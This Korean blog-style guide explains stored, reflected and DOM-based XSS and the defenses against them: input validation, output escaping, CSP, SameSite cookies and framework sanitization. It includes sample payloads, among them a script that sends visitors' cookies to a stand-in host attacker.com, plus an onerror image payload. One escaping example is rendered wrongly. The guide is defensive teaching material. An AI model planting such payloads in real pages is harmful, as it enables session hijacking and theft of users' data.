XSS공격 완전정복 | 취약점부터 대응 전략까지 웹 보안의 핵심 가이드
- 공유 링크 만들기
- X
- 이메일
- 기타 앱
XSS 공격은 악성 스크립트를 웹페이지에 삽입해 사용자 세션과 개인정보를 탈취하는 웹 취약점으로, 입력검증과 출력이스케이프, CSP 설정을 통해 효과적으로 방어할 수 있습니다.
XSS공격이란 무엇인가
크로스사이트 스크립팅(Cross-Site Scripting)은 웹 애플리케이션의 가장 위험한 보안 취약점 중 하나입니다.
공격자가 악성 스크립트를 웹페이지에 삽입하여 다른 사용자의 브라우저에서
실행되도록 만드는 공격 기법이죠.
이 공격은 SQL Injection과 함께 OWASP Top 10에 지속적으로 포함되어 있으며, 2025년 현재까지도 가장 빈번하게 발생하는 웹 보안 위협입니다.
XSS 공격이 성공하면 사용자의 쿠키와 세션 토큰을 탈취할 수 있으며, 이를 통해 계정 하이재킹이 가능해집니다.
또한 피싱 사이트로 리다이렉션하거나, 악성코드를 유포하고, 웹페이지 내용을 변조하는 등 다양한 악의적 행위를 수행할 수 있습니다.
많은 개발자들이 XSS를 단순한 취약점으로 생각하지만, 실제로는 사용자 입력을 처리하는 모든 지점에서 발생할 수 있는 복잡한 보안 문제입니다.
XSS 취약점의 세 가지 주요 유형
Stored XSS (저장형 XSS)
Stored XSS는 가장 위험한 형태의 XSS 공격입니다.
악성 스크립트가 웹 서버의 데이터베이스에 영구적으로 저장되어, 해당 페이지를 방문하는 모든 사용자에게 지속적으로 영향을 미칩니다.
게시판, 댓글, 프로필 정보 등 사용자 입력이 저장되는 모든 곳이 공격 대상이 될 수 있죠.
예를 들어 공격자가 게시판에 <script>document.location='http://attacker.com/?cookie='+document.cookie</script>와 같은 스크립트를 포함한 게시글을 작성하면, 이 게시글을 보는 모든 사용자의
쿠키가 공격자의 서버로 전송됩니다.
한 번의 공격으로 다수의 피해자를 양산할 수 있어 가장 큰 피해를 야기합니다.
Reflected XSS (반사형 XSS)
Reflected XSS는 URL 파라미터나 검색어 입력 필드 등을 통해 악성 스크립트를 전달하는 공격입니다.
서버에 저장되지 않고 즉시 반사되어 실행되는 특징이 있습니다.
공격자는 악성 스크립트가 포함된 URL을 이메일이나 SNS를 통해 피해자에게 전달하고, 피해자가 해당 링크를 클릭하면 공격이 실행됩니다.
https://example.com/search?q=<script>alert(document.cookie)</script>와 같은 형태의 URL이 대표적인 예시입니다.
최근 브라우저들은 Reflected XSS를 자동으로 차단하는 기능을 내장하고 있지만, 여전히 우회 기법이 존재하기 때문에 방심할 수 없습니다.
DOM-Based XSS (DOM 기반 XSS)
DOM-Based XSS는 서버와의 상호작용 없이 클라이언트 측 JavaScript 코드에서 발생하는 취약점입니다.
브라우저의 DOM(Document Object Model) 환경에서 직접 실행되기 때문에 서버 로그로는 탐지가 어렵습니다.
document.getElementById('content').innerHTML = location.hash와 같이 사용자 입력을 직접 DOM에 삽입하는 코드가 대표적인 취약점입니다.
URL의 해시 값이나 로컬 스토리지, 쿠키 값 등을 통해 공격이 이루어질 수 있어 프론트엔드 개발자들이 특히 주의해야 할 취약점입니다.
XSS 공격 예시와 실제 피해 사례
실전 공격 시나리오
간단한 검색 기능을 가진 웹사이트를 예로 들어보겠습니다.
사용자가 검색어를 입력하면 결과 페이지에 "검색어: [사용자 입력]"과 같이 표시되는 구조입니다.
만약 입력검증이 없다면, 공격자는 검색어로 <img src='x' onerror='alert(document.cookie)'>를 입력할 수 있습니다.
이미지 로드 실패 시 실행되는 onerror 이벤트를 활용하여 사용자의 쿠키 정보를 탈취하는 것이죠.
더 정교한 공격에서는 단순 alert 대신 fetch()를 사용하여 사용자 정보를 외부 서버로 전송합니다.
주요 공격 벡터
XSS 공격은 다양한 경로를 통해 이루어집니다.
게시판과 댓글은 가장 전통적인 공격 지점이며, 사용자 프로필의 닉네임이나 자기소개란도 자주 악용됩니다.
검색 기능, 에러 메시지, URL 파라미터도 빈번한 공격 대상입니다.
심지어 HTTP 헤더의 Referer나 User-Agent 값을 통해서도 공격이 가능합니다.
최근에는 Rich Text Editor를 통한 공격도 증가하고 있어, HTML 태그 입력을 허용하는 모든 기능에서 철저한 필터링이 필요합니다.
크로스사이트 스크립팅 방어의 핵심 원칙
입력검증 (Input Validation)
모든 사용자 입력은 잠재적으로 위험하다고 가정해야 합니다.
사용자 입력 필터링의 기본 원칙은 화이트리스트(Whitelist) 방식을 사용하는 것입니다.
허용할 문자, 태그, 속성을 명확히 정의하고, 그 외의 모든 것을 차단하는 방식이죠.
블랙리스트 방식은 <script> 태그만 막아도 <img>, <iframe>, <object> 등 다양한 우회 기법이 존재하기 때문에 권장하지 않습니다.
데이터 타입, 길이, 형식을 엄격하게 제한하고, 정규표현식을 활용한 패턴 매칭을 수행해야 합니다.
Java 환경에서는 Lucy-XSS-Filter와 같은 검증된 라이브러리를 활용할 수 있습니다.
출력이스케이프 (Output Encoding)
입력검증만으로는 충분하지 않으며, 출력 시점의 이스케이프 처리가 필수적입니다.
HTML 컨텍스트에서는 <, >, &, ", ' 등의 특수문자를 HTML 엔티티로 변환해야 합니다.
<는 <로, >는 >로 치환하여 브라우저가 HTML 태그로 해석하지 못하도록 만드는 것이죠.
JavaScript 컨텍스트에서는 다른 이스케이프 규칙이 적용되며, URL 컨텍스트에서는 URL 인코딩을 사용해야 합니다.
컨텍스트별로 적절한 인코딩을 적용하는 것이 핵심이며, OWASP ESAPI와 같은 라이브러리가 이를 지원합니다.
React나 Angular 같은 모던 프레임워크는 기본적으로 자동 이스케이프 기능을
제공하지만, dangerouslySetInnerHTML이나 bypassSecurityTrustHtml 같은 우회 메서드 사용 시에는 여전히 주의가 필요합니다.
콘텐츠보안정책(CSP) 구현 가이드
CSP의 개념과 필요성
Content Security Policy는 브라우저에게 어떤 콘텐츠를 로드하고 실행할 수 있는지 지시하는 보안 메커니즘입니다.
XSS 공격이 성공하더라도 악성 스크립트의 실행을 차단할 수 있는 강력한 방어 계층입니다.
CSP는 HTTP 응답 헤더를 통해 구현되며, Content-Security-Policy 헤더에 정책을 명시합니다.
기본 CSP 설정
가장 기본적인 CSP 정책은 다음과 같습니다.
Content-Security-Policy: default-src 'self'
이는 모든 리소스를 현재 도메인에서만 로드하도록 제한합니다.
스크립트에 대해 더 엄격한 정책을 적용하려면 다음과 같이 설정할 수 있습니다.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'
nonce 방식은 서버에서 생성한 임의의 값을 스크립트 태그에 포함시켜, 해당 값이 일치하는 스크립트만 실행을 허용합니다.
인라인 스크립트는 원칙적으로 차단되며, 불가피하게 사용해야 할 경우 nonce나 hash 방식을 활용해야 합니다.
CSP 정책 테스트
실제 적용 전에 Content-Security-Policy-Report-Only 헤더를 사용하여 정책을 테스트할 수 있습니다.
이 모드에서는 정책 위반을 차단하지 않고 보고만 하므로, 기존 기능에 영향 없이 문제점을 파악할 수 있습니다.
위반 보고는 report-uri 또는 report-to 디렉티브를 통해 지정된 엔드포인트로 전송됩니다.
MDN의 CSP 가이드에서 더 자세한 정보를 확인할 수 있습니다.
SameSite 쿠키 속성으로 세션 보호하기
SameSite 쿠키의 작동 원리
SameSite 속성은 쿠키가 교차 사이트 요청에서 전송되는 것을 제어합니다.
이를 통해 CSRF(Cross-Site Request Forgery) 공격과 XSS를 통한 세션 하이재킹을 방어할 수 있습니다.
2025년 현재 Chrome과 Edge는 기본값으로 SameSite=Lax를 적용하고 있으며, 명시적으로 설정하지 않은 쿠키는 자동으로 이 값이
적용됩니다.
세 가지 SameSite 값
Strict: 가장 강력한 보호 수준으로, 동일 사이트에서만 쿠키를 전송합니다.
인증 쿠키에 적용하면 CSRF 공격을 효과적으로 차단할 수 있습니다.
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly
Lax: 최상위 네비게이션(링크 클릭 등)에서는 쿠키를 전송하지만, 이미지나 iframe 같은 하위 리소스 요청에서는 전송하지 않습니다.
사용자 경험과 보안의 균형을 맞출 수 있는 옵션입니다.
None: 모든 교차
사이트 요청에서 쿠키를 전송하며, 반드시 Secure 속성과 함께 사용해야 합니다.
제3자 위젯이나 임베디드 콘텐츠에서 필요한 경우에만 사용해야 합니다.
실전 적용 예시
Node.js Express에서의 설정:
res.cookie('sessionToken', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000
});
Spring Boot에서의 설정:
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setSameSite("Strict");
serializer.setUseHttpOnlyHeader(true);
serializer.setUseSecureCookie(true);
return serializer;
}
XSS 대응 가이드 체크리스트
| 방어 계층 | 구현 방법 | 효과성 |
|---|---|---|
| 입력검증 | 화이트리스트 방식, 타입 체크, 길이 제한 | 높음 |
| 출력이스케이프 | HTML 엔티티 변환, 컨텍스트별 인코딩 | 매우 높음 |
| CSP 설정 | nonce/hash 기반 정책, 인라인 스크립트 차단 | 높음 |
| SameSite 쿠키 | Strict/Lax 설정, HttpOnly 속성 | 중간 |
| 보안 라이브러리 | OWASP ESAPI, DOMPurify, Lucy-XSS-Filter | 높음 |
| 프레임워크 보안 | React/Vue/Angular 자동 이스케이프 활용 | 매우 높음 |
개발 단계별 적용 전략
설계 단계: 사용자 입력을 받는 모든 지점을 식별하고, 입력검증 및 출력이스케이프 전략을 수립합니다.
개발 단계: 검증된 보안 라이브러리를 활용하고, 직접 구현은 최소화합니다.
프레임워크가 제공하는 보안 기능을 최대한 활용하며, 우회 메서드 사용을 제한합니다.
테스트 단계: OWASP ZAP이나 Burp Suite와 같은 보안 스캐너를 활용하여 XSS 취약점을 검사합니다.
수동 침투 테스트를 통해 자동화 도구가 놓칠 수 있는 취약점을 발견합니다.
배포 단계: CSP 헤더를 활성화하고, HTTPS를 강제하며, 보안 쿠키 속성을 설정합니다.
운영 단계: 정기적인 보안 감사를 수행하고, 새로운 취약점 패턴에 대한 업데이트를 적용합니다.
최신 XSS 방어 기술과 도구
자동화 보안 테스트 도구
OWASP ZAP: 오픈소스 웹 애플리케이션 보안 스캐너로, XSS를 포함한 다양한 취약점을 자동으로 탐지합니다.
CI/CD 파이프라인에 통합하여 지속적인 보안 검증을 수행할 수 있습니다.
Burp Suite: 프로페셔널한 침투 테스트 도구로, 수동 테스트와 자동 스캔을 결합하여 정교한 취약점 분석이 가능합니다.
npm audit / Snyk: JavaScript 프로젝트의 의존성에서 알려진 XSS 취약점을 검사합니다.
프레임워크별 보안 가이드
React: dangerouslySetInnerHTML 사용을 피하고, DOMPurify 라이브러리로 HTML 새니타이징을 수행합니다.
사용자 입력은 항상 중괄호 {}를 통해 렌더링하여 자동 이스케이프를 활용합니다.
Vue: v-html 디렉티브 사용을 최소화하고, 템플릿 문법 {{ }}을 사용하여 안전한 출력을 보장합니다.
Angular: 기본
제공되는 DomSanitizer를 활용하되, bypassSecurityTrust* 메서드는 신중하게 사용합니다.
결론: 지속적인 보안 관리의 중요성
XSS 공격은 웹 애플리케이션의 가장 오래되고 널리 알려진 취약점임에도 불구하고,
여전히 활발하게 악용되고 있습니다.
단일 방어 기법만으로는 완벽한 보호가 불가능하며, 다층 방어 전략이 필수적입니다.
입력검증과 출력이스케이프, CSP 설정, SameSite 쿠키 속성을 조합하여 강력한 방어 체계를 구축해야 합니다.
개발 초기 단계부터 보안을 고려한 설계를 수행하고, 검증된 보안 라이브러리를 활용하며, 지속적인 테스트와 모니터링을 통해 새로운 위협에 대응해야 합니다.
보안은 일회성 작업이 아닌 지속적인 프로세스임을 명심하고, 최신 보안 동향을 주시하며 대응 전략을 업데이트해야 합니다.
추가 참고 자료
SQL Injection 완전 가이드 | 공격 원리부터 예방 전략까지 한눈에 보기
SQL Injection 공격 원리와 예방 전략을 완벽 정리. Prepared Statement, 입력 검증, WAF 등 실무 적용 가능한 보안 대책과 OWASP Top 10 기준 최신 사례 분석
Gemini 2.5 Flash Image(aka Nano-Banana) 개발자 가이드 2025 | 새 기능 해부
Gemini 2.5 Flash Image(Nano-Banana) GA 버전의 10가지 aspect_ratio, response_modalities 설정법과 실전 코드 예제를 담은 완벽한 개발자 가이드입니다.
Sora2 프롬프트 가이드 공개 | 효과적인 영상 생성 비법 & 예시 해설
Sora2 프롬프트 작성법 완벽 가이드. 카메라 앵글, 조명, 리믹스 기능부터 API 파라미터 최적화까지 - 전문가급 AI 영상 생성의 모든 것을 실전 예시와 함께 해설합니다.
DynamoDB 완전 정복 | AWS DynamoDB로 NoSQL 마스터하기
AWS DynamoDB 완전 가이드. NoSQL 데이터베이스 설계, Single Table Design, GSI 활용법, 프로비저닝/온디맨드 용량 비교, DynamoDB 스트림으로 서버리스 애플리케이션 구축하는 실전 방법 총정리.
클라우드 배포 생존 가이드 | 12팩터앱 원칙, Heroku 적용 팁
12팩터앱 방법론으로 Heroku 클라우드 배포를 마스터하세요. 단일 코드베이스부터 stateless 프로세스까지 실전 체크리스트와 코드 예제를 제공합니다. 환경 변수 설정, 마이그레이션 자동화 팁 포함
- 공유 링크 만들기
- X
- 이메일
- 기타 앱
댓글
댓글 쓰기